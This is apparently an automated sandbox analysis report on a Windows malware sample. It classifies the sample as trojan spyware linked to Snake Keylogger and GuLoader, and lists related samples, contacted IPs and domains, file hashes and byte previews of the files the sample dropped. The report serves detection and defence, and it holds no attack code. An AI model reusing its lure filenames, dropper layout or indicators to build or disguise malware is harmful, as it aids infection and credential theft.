Sample file name:	Rechung-R1663322504.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@10/15@3/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 62.6% (good quality ratio 61%) Quality average: 88% Quality standard deviation: 22.1%
HCA Information:	Successful, ratio: 94% Number of executed functions: 185 Number of non-executed functions: 76
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92
Excluded domains from analysis (whitelisted): wdcpalt.microsoft.com, client.wns.windows.com, onedsblobprdeus17.eastus.cloudapp.azure.com, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, wdcp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
158.101.44.242	Vessel_Particulars.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	New_Order_list.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Remittance_slip.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	52FA61DF5567B0069577DFF44111A00A77D641E816236.exe	Get hash	malicious	Unknown	Browse	checkip.dyndns.org/
	ARRIVAL_NOTICE.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	vessel_details.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Details.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	KNcPu6PwgIyFBrH.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Shipment_Details.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	MV_TBN.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	UWfxZoUMXX.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SOA_Reference.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	202207201610076759.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	FEDEX_-_2716436747964836.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	RFQ_P00282029.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	New_Quotation.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PO-000000056473_pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	new.one	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	7elmqWHBcmfCfOP.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	products2.doc	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	INQUIRY.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	os9ENgy8Y7.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Vessel_Particulars.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	invoice.exe	Get hash	malicious	GuLoader	Browse	193.122.130.0
	RFQ-GCE-Piping_&_Steel_Requirment.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Vessel_Description.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	jljwdT2pVF.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	New_Order_list.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Remittance_slip.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	52FA61DF5567B0069577DFF44111A00A77D641E816236.exe	Get hash	malicious	Unknown	Browse	193.122.130.0
	Shipment_Detail.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	ARRIVAL_NOTICE.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	vessel_details.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Details.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	KNcPu6PwgIyFBrH.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Requirements Details Attachments _#Uacac#Uc801 #Uc694#Uccad #Uac74.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	product.doc	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Shipment_Details.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	OSS22005693AB.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	PI-_IF269J0163.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	loligang.arm.elf	Get hash	malicious	Mirai	Browse	130.35.114.95
	lOVWBcdPyr.elf	Get hash	malicious	Mirai, Moobot	Browse	130.61.239.96
	os9ENgy8Y7.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	Vessel_Particulars.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	invoice.exe	Get hash	malicious	GuLoader	Browse	193.122.130.0
	jljwdT2pVF.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	New_Order_list.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Remittance_slip.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	52FA61DF5567B0069577DFF44111A00A77D641E816236.exe	Get hash	malicious	Unknown	Browse	158.101.44.242
	ARRIVAL_NOTICE.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	INV#94838#Ud83d#Udce9.htm	Get hash	malicious	HTMLPhisher	Browse	134.70.124.2
	vessel_details.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Details.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	KNcPu6PwgIyFBrH.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Shipment_Details.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	PI-_IF269J0163.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	MV_TBN.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Order_Ref_53089.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	Quote.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	PO-4000308887.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	2.bin.exe	Get hash	malicious	Clipboard Hijacker, Djvu, Vidar	Browse	172.217.16.129 142.250.184.206
	1.bin.exe	Get hash	malicious	Babuk, Djvu	Browse	172.217.16.129 142.250.184.206
	Documents-invoice-plan_032023.exe	Get hash	malicious	Unknown	Browse	172.217.16.129 142.250.184.206
	yxaLgUlkeX.exe	Get hash	malicious	Amadey, Djvu, Fabookie, SmokeLoader	Browse	172.217.16.129 142.250.184.206
	CBEbFPwWhr.exe	Get hash	malicious	Amadey, Babuk, Clipboard Hijacker, Djvu, SmokeLoader	Browse	172.217.16.129 142.250.184.206
	GVfZfoRYGs.exe	Get hash	malicious	Unknown	Browse	172.217.16.129 142.250.184.206
	GVfZfoRYGs.exe	Get hash	malicious	Unknown	Browse	172.217.16.129 142.250.184.206
	211498792-115056-Gsantander-sanlccjavap0004-145pdf.vbs	Get hash	malicious	Unknown	Browse	172.217.16.129 142.250.184.206
	5MhlzHzGj7.exe	Get hash	malicious	Amadey, Djvu, RHADAMANTHYS, SmokeLoader	Browse	172.217.16.129 142.250.184.206
	TLmyx807U1.exe	Get hash	malicious	Amadey, Djvu, RHADAMANTHYS, SmokeLoader	Browse	172.217.16.129 142.250.184.206
	211894646-041711-sanlccjavap0003-2847pdf.vbs	Get hash	malicious	FormBook	Browse	172.217.16.129 142.250.184.206
	file.exe	Get hash	malicious	Vidar	Browse	172.217.16.129 142.250.184.206
	cracksetup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.217.16.129 142.250.184.206
	setup.exe	Get hash	malicious	Clipboard Hijacker, Djvu	Browse	172.217.16.129 142.250.184.206
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.217.16.129 142.250.184.206
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.217.16.129 142.250.184.206
	setup.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.217.16.129 142.250.184.206
	setup.exe	Get hash	malicious	Amadey, Djvu, Fabookie, RHADAMANTHYS, SmokeLoader	Browse	172.217.16.129 142.250.184.206
	xHt8dXCLpZ.exe	Get hash	malicious	Amadey, Djvu, SmokeLoader	Browse	172.217.16.129 142.250.184.206
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, HTMLPhisher, Vidar	Browse	172.217.16.129 142.250.184.206

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll	008s06523610054680b6011375030062022.rar	Get hash	malicious	GuLoader	Browse
	008s06523610054680b6011375030062022.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	008s06523610054680b6011375030062022.exe	Get hash	malicious	GuLoader	Browse
	DOW#U00d3D PRZELEWU.exe	Get hash	malicious	GuLoader	Browse
	DOW#U00d3D PRZELEWU.exe	Get hash	malicious	GuLoader	Browse
	JUSTIFICANTE DE TRANSFERENCIA.exe	Get hash	malicious	GuLoader	Browse
	JUSTIFICANTE DE TRANSFERENCIA.exe	Get hash	malicious	GuLoader	Browse
	Elektroniczny formularz zg#U0142oszeniowy.exe	Get hash	malicious	GuLoader	Browse
	AEAT-Notificacion.exe	Get hash	malicious	GuLoader	Browse
	AEAT-Notificacion.exe	Get hash	malicious	GuLoader	Browse
	Quote##-PDF.exe	Get hash	malicious	GuLoader	Browse
	Quote##-PDF.exe	Get hash	malicious	GuLoader	Browse
	Besqueeze.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	1082300000832.exe	Get hash	malicious	GuLoader	Browse
	1082300000832.exe	Get hash	malicious	GuLoader	Browse
	234567896543456789098765434567890.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	234567896543456789098765434567890.exe	Get hash	malicious	GuLoader	Browse
	234567896543456789098765434567890.rar	Get hash	malicious	GuLoader	Browse
	Elektroniczny formularz zg#U0142oszenia.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_caspol.exe_5cc44e97acf31afa8e5c5ec1af53c5acde2c3_00000000_24c613c7-d23f-4749-9f08-829cc3a3e2d7\Report.wer

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2686160289713344
Encrypted:	false
SSDEEP:	192:MCTLeARl7CaUaX+AMWZm9AsrMThITlui1EXuvc4Du76lfAIO82S:FeAR+aOaTMxxDu76lfAIO82
MD5:	EB6A187691ECB171BB92C9F8E305FD41
SHA1:	9BF86D62729502A98EF78F098BB6361B93D3F193
SHA-256:	EC8E0F9FC991A71C6669456807F0CD410DC40AD42C6CFDBB2D85041CF8EE476D
SHA-512:	F785180408E5E7AC0BEEA41BCA28C93E23143D08BB8C72585CC9755C76B08CD0EB9BD7CE8D721A2BD5B7828358E0DC3446EC53924E0B0810766B71CF95FF6FDE
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.2.3.5.9.1.4.9.4.6.6.7.4.2.8.6.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.2.3.5.9.1.4.9.5.0.1.1.1.0.7.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.4.c.6.1.3.c.7.-.d.2.3.f.-.4.7.4.9.-.9.f.0.8.-.8.2.9.c.c.3.a.3.e.2.d.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.c.a.s.p.o.l...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.4.6.4.-.0.0.0.1.-.0.0.1.5.-.c.7.5.4.-.c.5.c.d.5.b.5.9.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.7.9.1.2.9.a.f.7.e.f.a.4.6.2.4.4.d.a.0.6.7.6.6.0.7.2.4.2.f.0.a.6.b.7.e.1.2.e.7.8.!.C.a.s.P.o.l...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.1.9././.1.0././.2.5.:.0.8.:.5.1.:.3.4.!.2.4.3.b.5.!.C.a.s.P.o.l...e.x.e.....B.o.o.t.I.d.=.4.2.9.4.9.6.7.2.9.5.....T.a.r.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E03.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	7620
Entropy (8bit):	3.6992698079997943
Encrypted:	false
SSDEEP:	192:R9l7lZNiWR6IhaL26Ynq6PgmfmFPXp1Qd1fYQm:R9lnNi46IIK6Yq6PgmfqTQff2
MD5:	CA48408075A231F52A067DA8CD11513C
SHA1:	025231FF1257DEAE25771552FE42E23D301AC397
SHA-256:	BC5EC16382F87B2F16A3AFBEB91E1DDD715E80C1D79B016BB3132A464A3AF2A6
SHA-512:	8C83A69466BE06D962E5760CDE9ACCC65A63355F2E71EC077F779E5CCFDAA2871928FF06045E4B193E6F4E71FE720FEF3B2B94D28E5647413707BEB8BF7EB27E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.2.2.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E62.tmp.xml

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4730
Entropy (8bit):	4.477930624054625
Encrypted:	false
SSDEEP:	48:cvIwwtl8zsYBe702I7VFJ5WS2Cfjkas3rm8M4JFKf6TF2FhO+q8wFvLB8wkd:uILfYI7GySPfIJFKEFgOtFjB8wkd
MD5:	3B2723FA6E50F304DAB44C852B06D6A3
SHA1:	584FDF4AC4D9CEED31871A830D69D8E3DE05FDC5
SHA-256:	58E37D2FBD32637D9BC03C469D6C1A071C6B09275AEC10F56FF20655397AD323
SHA-512:	C56613AD635C55E65DED3A7E109E3DF1865DD75824694AA03D56CD1A2CC4C82DD8C0D725220131FF211AE3F21049D0E305092964287063D226FB79606F2E52EB
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19042" />.. <arg nm="vercsdbld" val="1165" />.. <arg nm="verqfe" val="1165" />.. <arg nm="csdbld" val="1165" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="242" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="222057140" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="

C:\Users\user\AppData\Local\Temp\nsiF853.tmp\AdvSplash.dll

Download File

Process:	C:\Users\user\Desktop\Rechung-R1663322504.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.496995234059773
Encrypted:	false
SSDEEP:	96:1IUNaXnnXyEIPtXvZhr5RwiULuxDtJ1+wolpE:1Ix3XyEwXvZh1RwnLUDtf+I
MD5:	E8B67A37FB41D54A7EDA453309D45D97
SHA1:	96BE9BF7A988D9CEA06150D57CD1DE19F1FEC19E
SHA-256:	2AD232BCCF4CA06CF13475AF87B510C5788AA790785FD50509BE483AFC0E0BCF
SHA-512:	20EFFAE18EEBB2DF90D3186A281FA9233A97998F226F7ADEAD0784FBC787FEEE419973962F8369D8822C1BBCDFB6E7948D9CA6086C9CF90190C8AB3EC97F4C38
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+.Y.o.7Eo.7Eo.7Eo.6EF.7E..jEf.7E;..Em.7E..3En.7ERicho.7E........PE..L.....uY...........!................`........ ...............................P......................................`$..E.... ..d............................@..$.................................................... ...............................text............................... ..`.rdata....... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsiF853.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Rechung-R1663322504.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659384359264642
Encrypted:	false
SSDEEP:	192:ex24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlESlS:h8QIl972eXqlWBFSt273YOlEz
MD5:	8B3830B9DBF87F84DDD3B26645FED3A0
SHA1:	223BEF1F19E644A610A0877D01EADC9E28299509
SHA-256:	F004C568D305CD95EDBD704166FCD2849D395B595DFF814BCC2012693527AC37
SHA-512:	D13CFD98DB5CA8DC9C15723EEE0E7454975078A776BCE26247228BE4603A0217E166058EBADC68090AFE988862B7514CB8CB84DE13B3DE35737412A6F0A8AC03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 008s06523610054680b6011375030062022.rar, Detection: malicious, Browse Filename: 008s06523610054680b6011375030062022.exe, Detection: malicious, Browse Filename: 008s06523610054680b6011375030062022.exe, Detection: malicious, Browse Filename: DOW#U00d3D PRZELEWU.exe, Detection: malicious, Browse Filename: DOW#U00d3D PRZELEWU.exe, Detection: malicious, Browse Filename: JUSTIFICANTE DE TRANSFERENCIA.exe, Detection: malicious, Browse Filename: JUSTIFICANTE DE TRANSFERENCIA.exe, Detection: malicious, Browse Filename: Elektroniczny formularz zg#U0142oszeniowy.exe, Detection: malicious, Browse Filename: AEAT-Notificacion.exe, Detection: malicious, Browse Filename: AEAT-Notificacion.exe, Detection: malicious, Browse Filename: Quote##-PDF.exe, Detection: malicious, Browse Filename: Quote##-PDF.exe, Detection: malicious, Browse Filename: Besqueeze.exe, Detection: malicious, Browse Filename: 1082300000832.exe, Detection: malicious, Browse Filename: 1082300000832.exe, Detection: malicious, Browse Filename: 234567896543456789098765434567890.exe, Detection: malicious, Browse Filename: 234567896543456789098765434567890.exe, Detection: malicious, Browse Filename: 234567896543456789098765434567890.rar, Detection: malicious, Browse Filename: Elektroniczny formularz zg#U0142oszenia.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....uY...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Separationerne.lnk

Download File

Process:	C:\Users\user\Desktop\Rechung-R1663322504.exe
File Type:	MS Windows shortcut, Item id list present, Has Relative path, Has Working directory, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hide
Category:	dropped
Size (bytes):	1280
Entropy (8bit):	3.1309064191027343
Encrypted:	false
SSDEEP:	12:8wl0dsXUCV/tz0/CSLwrHj4/3BVYG02D23ddQ9k1MJsW+AdpiUz6AwCNfBf4t2Yi:8mrWLgD4/BV02De69kqy+pbWAZjJT
MD5:	4196863E92696387150E600E60EFC6FB
SHA1:	EB522598123ACA565CD764787F652CCAA18132CA
SHA-256:	9EE412852B59929D0F10D8647FC2F25A79C7F216578159A43B175BA544FFB4B5
SHA-512:	268236CF45F17B2D88517E753960243ECD7F402BE0D9E985929418A86D0A396C840475E8C8470A370FB894A2749A2DD2E752D54F497436B138DF76F09978694A
Malicious:	false
Preview:	L..................F.............................................................P.O. .:i.....+00.../C:\...................P.1...........Users.<............................................U.s.e.r.s.....T.1...........user..>............................................A.r.t.h.u.r.....V.1...........AppData.@............................................A.p.p.D.a.t.a.....V.1...........Roaming.@............................................R.o.a.m.i.n.g.....\.1...........Microsoft.D............................................M.i.c.r.o.s.o.f.t.....V.1...........Windows.@............................................W.i.n.d.o.w.s.....t.1...........Printer Shortcuts.T............................................P.r.i.n.t.e.r. .S.h.o.r.t.c.u.t.s... .t.2...........Genoptagelsen.Phi.T............................................G.e.n.o.p.t.a.g.e.l.s.e.n...P.h.i... ...G...\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.P.r.i.n.t.e.r. .S.h.o.r.t.c.u.t.s.\.G.e.n.o.p.t.a.g.e.l

C:\Users\user\Socialdirektrer\Fornices\Vingummis\Flannelled\Yndighed\Adventure_20.bmp

Download File

Process:	C:\Users\user\Desktop\Rechung-R1663322504.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 100x100, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=3], baseline, precision 8, 110x110, components 3
Category:	dropped
Size (bytes):	10534
Entropy (8bit):	7.884822059718216
Encrypted:	false
SSDEEP:	192:oXRZxdt62XpqRigPYtY0CfKTQlh5NKW6F5oJxfskCjGmXa6Pbplv26Zzkq:KRfdt62X+XoElh/KW6ifskEGeaIp9zkq
MD5:	A4530760E13B17372AE0D8CB48F66D0D
SHA1:	AA21564FA3A847E59402B62D3F600DDA5046A926
SHA-256:	F37F7A75DC27903EA88D1A3912DFB9123CA217E2467EB6D5DC966F60DC7F9DB7
SHA-512:	E42C32B412CD4AA560EFED98050F4B2F858190EA8BF56A81311F24C6F0751E2E397F624777E759BC80B1D34BF0AA9ECF6356E26D553D22E503A53CEF76797D43
Malicious:	false
Preview:	......JFIF.....d.d.....:Exif..MM.......Q...........Q..........aQ..........a.......C....................................................................C.......................................................................n.n.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....(..9...k....X.....&.2.Z.......k~I.....e...J...}..<..M..8..........".../...O.u...........5.h...71]ZZ......v..Yc...<.i'..m2_..>..#...K...,.qq.^<2\|D.V...j..ae.0Mu.^K..#k..3<."FV$HV.)..vmG..H........z.\..#......3_..Wo.g.>.o..........\|...V.}.Ho.]...q#..W667Z`..)..l._E'.....+\.w..K....O.o..5......4O..~.

C:\Users\user\Socialdirektrer\Fornices\Vingummis\Flannelled\Yndighed\Dialektforskningen134.Luk

Download File

Process:	C:\Users\user\Desktop\Rechung-R1663322504.exe
File Type:	ASCII text, with very long lines (35012), with no line terminators
Category:	dropped
Size (bytes):	35012
Entropy (8bit):	2.713079331895783
Encrypted:	false
SSDEEP:	768:YOYEtjBKsUje7ciMsO9Z/mAXEEEJu+am7Iuxsr6mPpHOEEEEESW0ymwpTiq:d4/98AEMRNPpHrViq
MD5:	F75A78EE11492D9F9146075023D485D3
SHA1:	772AE864C11AE2C45834F681EFDF662BBD28268B
SHA-256:	5916C8773319EA24B225C76FE361D360360CE03E1F61E2E86387514A185BDAF9
SHA-512:	BB2D74E9F7D7F02E682E302B115C280C886F4E99789F4E5A198E7B2E973FFBE788559140CC2625EE8F754831497E67038CA327196EC14370968B47828863BD0D
Malicious:	false
Preview:	0000000000000F00007200F400C000D900DDDD00009D005D5D5D000E0E0E0E00C20000005F5F5F00E4E4E400000000009B0013000026262600A900008C006D00323200360000001717008700C600B4B400007900B0B0B0B0000000006F6F004C4C00590000003F000041414100004C00C1C1C10000004A4A00000000AAAA0000000000F100393900000000430000AC00F6000093002600C5C5000000002900006700002C000000AE00000067000100000000004D005D5D5D0000E0E0004646464600C90000202000D8000086005700BDBD00007000212100FC0006060606000800680000000000D8D800A700006060009200A4004600D000CCCC00E9E90000005700F600888888002700CCCC00000000006F6F00D9003D3D3D009F000000000000DDDDDD0000B2000000001B0000CD003D3D00060606005D5D0000B5B5B5B5009898007100DE000F000000F0F0F000BDBD00000000001212120000004800E1003A3A3A0056565600000000B600000000130027272700E9000000009696004B00770078000000A8000000DCDC0007070700C8005959595959000D000000840000740000EAEA00D9D9D9D900000000A70000B70000828282820000780082820000000000000051515100787800002222008E0000DB00001E0000DD006C00FA00000000AAAA000000950000002500CF00000000A000

C:\Users\user\Socialdirektrer\Vandspildets.Shi37

Download File

Process:	C:\Users\user\Desktop\Rechung-R1663322504.exe
File Type:	data
Category:	dropped
Size (bytes):	225168
Entropy (8bit):	7.3676127973119225
Encrypted:	false
SSDEEP:	3072:NOUzxidFkCI6+rXNfJEow2a5KTa49D1bdzeDZ/7SkPtnWpA2Or1/nD9kS/fmi:s9dFrI6ifJLwV0/9Jd4RSYtWpBanD9kG
MD5:	BAFC11E1543369B58D7852857D986EFA
SHA1:	A00AD13ECA7F98C1CBBC7AE32151D3878DD2BBB0
SHA-256:	F8D1014289006D2ACCAB3D5A1C36CD867B4D6BEC50781365175B4FF8323A5E81
SHA-512:	69883FDF36A90C35625D74BF7FE5808AFD1F88314EF60FAB7785C443BD992F72656BB727E3E44503266BECC28A48E0BAF7DF70A6C5CAA10D2B2DFED28C07AA02
Malicious:	false
Preview:	.................................t..cc..................dd.@@.rr..ZZ.====........vvvvv.""...i..SS...........((.v........dd...............K.................m.................OO..........@@...................00._.............XX...EE..$$.HHHHHH...............................m...................................................nn...........oo.....hhh.................__.............^.7........#.....1..-.......H...J.........???........\|..>.^.W.......................H..^^^^^^..???.CCC..n.........nnn.xx................;..................E.....&&&&..............hhh....W............................?.ss....B.b....III.......#...............q........................Q.s...#.........%...nn.EE..............\|\|.......................___...........p......R.88.........................$..........LL......k........................I...''.pp.....:.aa.......]..............&.....jj..`.JJ................................//....e...^^^^^^^^^^^....2.p..........I..................$......oo...............E..............

C:\Users\user\Socialdirektrer\media-floppy-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\Rechung-R1663322504.exe
